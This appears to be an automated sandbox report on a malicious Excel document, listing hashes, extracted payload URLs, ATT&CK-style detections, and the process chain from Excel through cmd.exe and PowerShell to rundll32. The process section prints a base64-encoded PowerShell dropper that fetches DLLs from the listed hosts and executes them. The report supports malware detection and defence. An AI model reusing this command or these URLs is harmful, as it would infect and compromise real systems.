Analysis
-
max time kernel
133s -
max time network
144s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
20-11-2024 21:31
Behavioral task
behavioral1
Sample
f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls
Resource
win10v2004-20241007-en
General
-
Target
f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls
-
Size
144KB
-
MD5
63fe243ac27e3b363df51db0bbac1c08
-
SHA1
40319f467812d05e5a9eb20ac42e22781420216c
-
SHA256
f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e
-
SHA512
1b8d6caf9dbf6c3617a1b182f02ed937c712d59f8d906a2d75617675375f9047824ee9ed3c73bb8c9ba8d7d048c872d57b69584d9dd7bb0a8a11765834822bb5
-
SSDEEP
3072:T7cKoSsxzNDZLDZjlbR868O8K0c03D38TehYTdeHVhjqabWHLtyeGx6Z84TIKGxS:/cKoSsxzNDZLDZjlbR868O8K0c03D38p
Malware Config
Extracted
http://althyplane.com/wp-admin/ELWa8YcOqlJn/
http://dreamdancefactory.clnetworktv.com/zegsgpzq/CT75/
http://ajkersomaj.com/wp-admin/ThBwKpUbIffmrepRg/
http://1asehrgut.com/dup-installer/3vESrkJAS97l/
http://dreamcityloveaffair.com/60bv5/RG9Kb1qRlQ/
http://dreamproductionsfl.com/tmw8t/Szjjcj5mU1ZA/
http://dreamcityimprov.com/d5759pd/yzbV45v1nY/
http://delmarpropertyservices.com/nw1t8jj/NUrSuFyX6P/
http://batumi4u.com/nwj7iw/jgiK2uwhsu/
http://blasieholmen-staging.tokig.site/b/SOcGvzIi31HDg/
http://climate.thecedarcentre.org/cgi-bin/3eseeNZ/
http://changeyourcommunitynow.com/s1hf7qm/TqcrwYcOiqV8fWA/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 3560 1980 cmd.exe 82 -
Blocklisted process makes network request 8 IoCs
flow pid Process 22 644 powershell.exe 25 644 powershell.exe 36 644 powershell.exe 39 644 powershell.exe 43 644 powershell.exe 47 644 powershell.exe 49 644 powershell.exe 51 644 powershell.exe -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language rundll32.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1980 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 644 powershell.exe 644 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 644 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE 1980 EXCEL.EXE -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1980 wrote to memory of 3560 1980 EXCEL.EXE 87 PID 1980 wrote to memory of 3560 1980 EXCEL.EXE 87 PID 3560 wrote to memory of 644 3560 cmd.exe 89 PID 3560 wrote to memory of 644 3560 cmd.exe 89 PID 644 wrote to memory of 228 644 powershell.exe 102 PID 644 wrote to memory of 228 644 powershell.exe 102 PID 644 wrote to memory of 228 644 powershell.exe 102
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\f6e9df18ded37e3e8728f722c0ae13b796837f55304608921fed97dd538ba74e.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1980 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\programdata\cbjwektde.bat" "2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3560 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -enc JAByAG8AdwBpAGYAaQB1AGQAPQAiAGgAdAB0AHAAOgAvAC8AYQBsAHQAaAB5AHAAbABhAG4AZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARQBMAFcAYQA4AFkAYwBPAHEAbABKAG4ALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAGQAYQBuAGMAZQBmAGEAYwB0AG8AcgB5AC4AYwBsAG4AZQB0AHcAbwByAGsAdAB2AC4AYwBvAG0ALwB6AGUAZwBzAGcAcAB6AHEALwBDAFQANwA1AC8ALABoAHQAdABwADoALwAvAGEAagBrAGUAcgBzAG8AbQBhAGoALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAFQAaABCAHcASwBwAFUAYgBJAGYAZgBtAHIAZQBwAFIAZwAvACwAaAB0AHQAcAA6AC8ALwAxAGEAcwBlAGgAcgBnAHUAdAAuAGMAbwBtAC8AZAB1AHAALQBpAG4AcwB0AGEAbABsAGUAcgAvADMAdgBFAFMAcgBrAEoAQQBTADkANwBsAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGwAbwB2AGUAYQBmAGYAYQBpAHIALgBjAG8AbQAvADYAMABiAHYANQAvAFIARwA5AEsAYgAxAHEAUgBsAFEALwAsAGgAdAB0AHAAOgAvAC8AZAByAGUAYQBtAHAAcgBvAGQAdQBjAHQAaQBvAG4AcwBmAGwALgBjAG8AbQAvAHQAbQB3ADgAdAAvAFMAegBqAGoAYwBqADUAbQBVADEAWgBBAC8ALABoAHQAdABwADoALwAvAGQAcgBlAGEAbQBjAGkAdAB5AGkAbQBwAHIAbwB2AC4AYwBvAG0ALwBkADUANwA1ADkAcABkAC8AeQB6AGIAVgA0ADUAdgAxAG4AWQAvACwAaAB0AHQAcAA6AC8ALwBkAGUAbABtAGEAcgBwAHIAbwBwAGUAcgB0AHkAcwBlAHIAdgBpAGMAZQBzAC4AYwBvAG0ALwBuAHcAMQB0ADgAagBqAC8ATgBVAHIAUwB1AEYAeQBYADYAUAAvACwAaAB0AHQAcAA6AC8ALwBiAGEAdAB1AG0AaQA0AHUALgBjAG8AbQAvAG4AdwBqADcAaQB3AC8AagBnAGkASwAyAHUAdwBoAHMAdQAvACwAaAB0AHQAcAA6AC8ALwBiAGwAYQBzAGkAZQBoAG8AbABtAGUAbgAtAHMAdABhAGcAaQBuAGcALgB0AG8AawBpAGcALgBzAGkAdABlAC8AYgAvAFMATwBjAEcAdgB6AEkAaQAzADEASABEAGcALwAsAGgAdAB0AHAAOgAvAC8AYwBsAGkAbQBhAHQAZQAuAHQAaABlAGMAZQBkAGEAcgBjAGUAbgB0AHIAZQAuAG8AcgBnAC8AYwBnAGkALQBiAGkAbgAvADMAZQBzAGUAZQBOAFoALwAsAGgAdAB0AHAAOgAvAC8AYwBoAGEAbgBnAGUAeQBvAHUAcgBjAG8AbQBtAHUAbgBpAHQAeQBuAG8AdwAuAGMAbwBtAC8AcwAxAGgAZgA3AHEAbQAvAFQAcQBjAHIAdwBZAGMATwBpAHEAVgA4AGYAVwBBAC8AIgAuAFMAcABsAGkAdAAoACIALAAiACkAOwAgAGYAbwByAGUAYQBjAGgAKAAkAHMAdAAgAGkAbgAgACQAcgBvAHcAaQBmAGkAdQBkACkAewAkAHIAcgB5AGkAdQBkAD0ARwBlAHQALQBSAGEAbgBkAG8AbQA7ACQAZgBnAGgAaQB1AHMAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAPQAiAGMAOgBcAHAAcgBvAGcAcgBhAG0AZABhAHQAYQBcACIAKwAkAHIAcgB5AGkAdQBkACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQARwBzAHIARgBKAFkAagBkADUANAA2AGQAcwApAHsAaQBmACgAKABHAGUAdAAtAEkAdABlAG0AIAAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKQAuAEwAZQBuAGcAdABoACAALQBnAGUAIAA1ADAAMAAwADAAKQB7ACQAZwBoAEQARABGAEoASABrADUAZgA9ACIAYwA6AFwAdwBpAG4AZABvAHcAcwBcAHMAeQBzAHcAbwB3ADYANABcAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACIAOwAkAHQAeQBpAGQAdQBpAHMAZABmAGYAPQAkAEcAcwByAEYASgBZAGoAZAA1ADQANgBkAHMAKwAiACwAZgAiACsAJABmAGcAaABpAHUAcwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGcAaABEAEQARgBKAEgAawA1AGYAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJAB0AHkAaQBkAHUAaQBzAGQAZgBmADsAYgByAGUAYQBrADsAfQB9AH0A3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:644 -
C:\windows\syswow64\rundll32.exe"C:\windows\syswow64\rundll32.exe" c:\programdata\768152452.dll,f737902144⤵
- System Location Discovery: System Language Discovery
PID:228
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize1KB
MD5a8e5125d2d0fc55b3ce28bfe41ab912d
SHA1b84feed6e1d42b06b35f27928e779674a70a3cd8
SHA25612676f1da8a1f141a153fbb2c1ca0e8b29207adbadd242279aa16687072feaf2
SHA5127576e752b5568955bc1d2735f6df123e1f50339be02e6ac7dcb21cfe6ea2992b3bca48d9cdfd1a6e66e5207cf5b593a4d668145dfab4ea5195c9c9cead65eced
-
Filesize
3KB
MD5a90319111c2f42a9c83a3a2bc2613d74
SHA1bf1171da149442a511a946ded726b94c1ad7cf85
SHA256763706fce04801df0720ca67b0905876ddf4f3fc1aedbbd1d032e96b227a6e51
SHA5121358cf85166ea3a135425e7aa274ab66dd21605f3635c5260fd35e5134ef9698ea5b38df21721aaa72040d6f2506f5b3e926a72698dec56191d8079e3511ffe7
-
Filesize
78KB
MD58eab8e846d9b913068a1cf73cb18a28f
SHA15cc18dd51d120383a1636285e6b970d3bea2759e
SHA256ef7071fc0722aaca21c7e41c378ecf4bb23296c882bebf9b4124ecde84ee0a35
SHA51255fedff400d15d34b7a01cb252310bf95b5585cc1449993236ea9aed488182f6ae59f4575e74c4ffb65cda08721ac5e52d89d60b852aece37bc8c99fbf64a646